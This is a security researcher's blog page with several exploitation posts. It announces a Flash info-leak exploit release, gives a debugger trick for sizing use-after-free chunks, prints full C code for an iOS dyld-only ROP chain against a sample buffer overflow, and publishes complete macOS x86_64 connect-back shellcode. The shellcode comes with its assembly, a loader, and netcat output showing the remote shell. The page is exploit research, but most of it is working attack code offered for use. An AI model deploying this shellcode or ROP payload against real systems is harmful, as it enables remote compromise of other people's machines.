Blog | Talks | Docs | Tools | Advisories | About | RSS
Fermín J. Serna - Blog...
<<<<< April - 2012 >>>>>
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

9-Apr-2012 [10:44] -- CVE-2012-0769: the case of the perfect info leak

During the last few months I have been researching Adobe Flash vulnerabilities ranging from type confusion vulnerabilities, AS3 API vulnerabilities (CVE-2012-0769), sandbox escapes (CVE-2012-0724 &
CVE-2012-0725), etc.

I am pleased to announce the release of part of this research. In this case, the below linked document will focus on an already patched (https://www.adobe.com/support/security/bulletins/apsb12-05.html) vulnerability. "CVE-2012-0769, the case of the perfect info leak" goes in detail from root cause analysis to a fully reliable, quick and multi-platform exploitation of the vulnerability.

Document: Flash_ASLR_bypass.pdf
Source code: InfoLeak.as
SWF file: InfoLeak.swf

Enjoy,

Fermin J. Serna - @fjserna

Comments (0)

3-Jan-2012 [6:09] -- The cools kid way of finding the use-after-free block size...

Lets say you have found a use-after-free on program X where at some point it is dereferencing a register plus an offset.

You could:

1) Open IDA an lookup where the object got created to see the size of the allocation.
2) Use page heap, windbg and take a look to the allocation stack trace
3) Windbg !heap -p -a

Or... a quick trick I used today, taking advantage of page heap placing the object at the end of a page for catching buffer overflows.

1:022:x86> ? 0x1000-(ebx&0x00000FFF)
Evaluate expression: 88 = 00000058 <--- size of chunk
1:022:x86>

Fermin J. Serna - @fjserna

Comments (0)

25-May-2011 [18:42] -- IOS dyld only ROP

As you may know 4.3 IOS introduced ASLR so the old tricks of using directly gadgets and functions from any module are no longer valid.

Today, while talking to @i0n1c and @thegrugq on twitter we started to discuss rop-only shellcodes using dyld only gadgets.

I did the following some months ago (February-2011 IIRC), on 4.3beta2 and this is not useful without an exploit so no real risk for users.

The idea is to use dyld!dlsym() to resolve the functions needed and patch the ROP with write4 gadgets. Please note I do not use dyld!dlopen() but instead I use fixed return values for several modules.

The below code is the exploitation of a sample buffer overflow that you need to compile (without PIE) and upload to a test IOS device. Again, it will only work on 4.3beta2 but can be easily updated.

This ROP will basically make the phone vibrate and exit. Nothing fancy... but just to demonstrate the technique.

This will work if you:
1) Have a market app not compiled with PIE (dyld and main binary will not be randomized). This example code.
2) You have an info leak of dyld (need to update the addresses of this ROP)

#define ROP_POP_R4R5R6R7PC          0x2FE01295 // +1
#define ROP_POP_R1R2R3R4R6R7PC      0x2FE1A8E9 // +1
#define ROP_MOV_ROR4_POP_R4R5R6R7PC 0x2FE07437 // +1
#define ROP_BLX_R4_POP_R4R7PC       0x2FE19BAF // +1
#define ROP_STR_ROR4_POP_R4R7PC     0x2FE017BB // +1
 
#define FUNC_DLSYM                  0x2fe07e79 // +1
 
#define DLOPEN_LIBSYSTEM            0x2fe28cc8
#define DLOPEN_AUDIOTOOLBOX         0x2fe29cb4
 
       memset(buffer2,0,sizeof(buffer2));
 
       ch_ptr=buffer2;
       memset(ch_ptr,0x41,64+12);
       ch_ptr+=64+12;
 
       ul_ptr=(unsigned long *)ch_ptr;
 
       base_address=(unsigned long)&buffer+64+12;
 
       //*(ul_ptr++)=0xFDFDFDFD;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_AUDIOTOOLBOX; // arg0: dlopen ret value for AudioToolbox (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long));  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+(37*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x3ea ;       // arg0: sound
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // AudioServicesPlaySystemSound ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       /////-------------------------------------------------------------------
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_LIBSYSTEM; // arg0: dlopen ret value for libSystem.B.dylib (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long)+strlen("AudioServicesPlaySystemSound")+1);  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+((44+36)*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x00000000;       // arg0: exit code
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // exit ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=0xDEADDEAD;
 
 
       // copy API names at the end
       ch_ptr=(char *)ul_ptr;
       strcpy(ch_ptr,"AudioServicesPlaySystemSound");
       ch_ptr+=strlen("AudioServicesPlaySystemSound")+1;
 
       strcpy(ch_ptr,"exit");
       ch_ptr+=strlen("exit")+1;


Fermin J. Serna - @fjserna

Comments (0)

22-Oct-2010 [18:49] -- x86_64 MacOS X connect() shellcode

Lately I have been researching the exploitation of buffer overflows, user-after-free, etc... but on x86_64 (concretely on MacOSX). I had my sample vulnerable programs, the 100% reliable exploits, etc... but could not find any interesting shellcode for this arch/platform. And you know... and int3 is not that exciting when you want to show this to your friends/family/fans/wife...

So, I had to develop my own one... contains NULL bytes but for my exploitation it did nto matter.

One thing I learnt is that it is way more elegant to write it.. no jmp/call/pop since I use relative rip addressing :) AV, IPS should develop new generic techniques to find shellcodes.

Here we go, the ip and port are hardcoded to (127.0.0.1:4444):

/*
 
MacOSX x86_64 connect() shellcode 
Author: Fermin J. Serna
Twitter: @fjserna
Website: http://zhodiac.hispahack.com
Date: 21/Oct/2010

----

BITS 64

SECTION .text
GLOBAL _start

_start:

  ; socket = 0x2000061
  xor rdi, rdi
  inc rdi
  inc rdi
  xor rsi, rsi
  inc rsi
  xor rdx, rdx
  mov eax, 0x2000061
  mov r10, rcx
  syscall
  push rax ; push sock_fd for later use

  ; connect = 0x2000062
  pop rdi
  push rdi
  lea rsi, [rel sockaddr_in]
  xor rdx, rdx
  mov dl, 0x10
  mov eax, 0x2000062
  mov r10, rcx
  syscall

  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  mov eax, 0x200005a  
  mov r10, rcx
  syscall
    
  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  inc rsi
  mov eax, 0x200005a
  mov r10, rcx
  syscall

  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  inc rsi
  inc rsi
  mov eax, 0x200005a
  mov r10, rcx
  syscall

  ; execve = 0x200003b
  lea rdi, [rel cmd]
  xor rdx, rdx
  push rdx
  push rdi
  mov rsi, rsp
  mov eax, 0x200003b
  mov r10, rcx
  syscall

  ; exit = 0x2000001
_exit:
  xor rdi, rdi
  mov eax, 0x2000001
  syscall 

sockaddr_in:    
  dd 0x5c110200    ; port 4444            
  dd 0x0100007f     ; 127.0.0.1
  dd 0x00000000
  dd 0x00000000

cmd: 
  db '/bin/sh',0

*/


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
 "\\x48\\x31\\xff\\x48\\xff\\xc7\\x48\\xff\\xc7\\x48\\x31\\xf6\\x48\\xff\\xc6\\x48"
 "\\x31\\xd2\\xb8\\x61\\x00\\x00\\x02\\x49\\x89\\xca\\x0f\\x05\\x50\\x5f\\x57\\x48"
 "\\x8d\\x35\\x68\\x00\\x00\\x00\\x48\\x31\\xd2\\xb2\\x10\\xb8\\x62\\x00\\x00\\x02"
 "\\x49\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\xb8\\x5a\\x00\\x00\\x02\\x49"
 "\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\x48\\xff\\xc6\\xb8\\x5a\\x00\\x00"
 "\\x02\\x49\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\x48\\xff\\xc6\\x48\\xff"
 "\\xc6\\xb8\\x5a\\x00\\x00\\x02\\x49\\x89\\xca\\x0f\\x05\\x48\\x8d\\x3d\\x2c\\x00"
 "\\x00\\x00\\x48\\x31\\xd2\\x52\\x57\\x48\\x89\\xe6\\xb8\\x3b\\x00\\x00\\x02\\x49"
 "\\x89\\xca\\x0f\\x05\\x48\\x31\\xff\\xb8\\x01\\x00\\x00\\x02\\x0f\\x05\\x00\\x02"
 "\\x11\\x5c\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2f\\x62"
 "\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00";

int main(int argc, char **argv) {

int (*sc)();
void *ptr=(void *)0x0000006000000000;
unsigned int counter;

  ptr=mmap(ptr,0x1000,PROT_EXEC|PROT_WRITE|PROT_READ,MAP_FIXED|MAP_ANON|MAP_PRIVATE,0,0);
  if (ptr==MAP_FAILED) {
      perror("mmap");
      exit(-1);
  }

  memcpy(ptr,shellcode,sizeof(shellcode));
  sc=ptr;

  sc();

  return 0;

}

And the result is:

Fermin-Sernas-MacBook-Pro:x Fer$ nc -lv 4444
id;
uid=501(Fer) gid=20(staff) groups=20(staff),402(com.apple.sharepoint.group.1),204(_developer),100(_lpoperator),98(_lpadmin),81(_appserveradm),80(admin),79(_appserverusr),61(localaccounts),12(everyone),401(com.apple.access_screensharing)

Fermin J. Serna - @fjserna

Comments (0)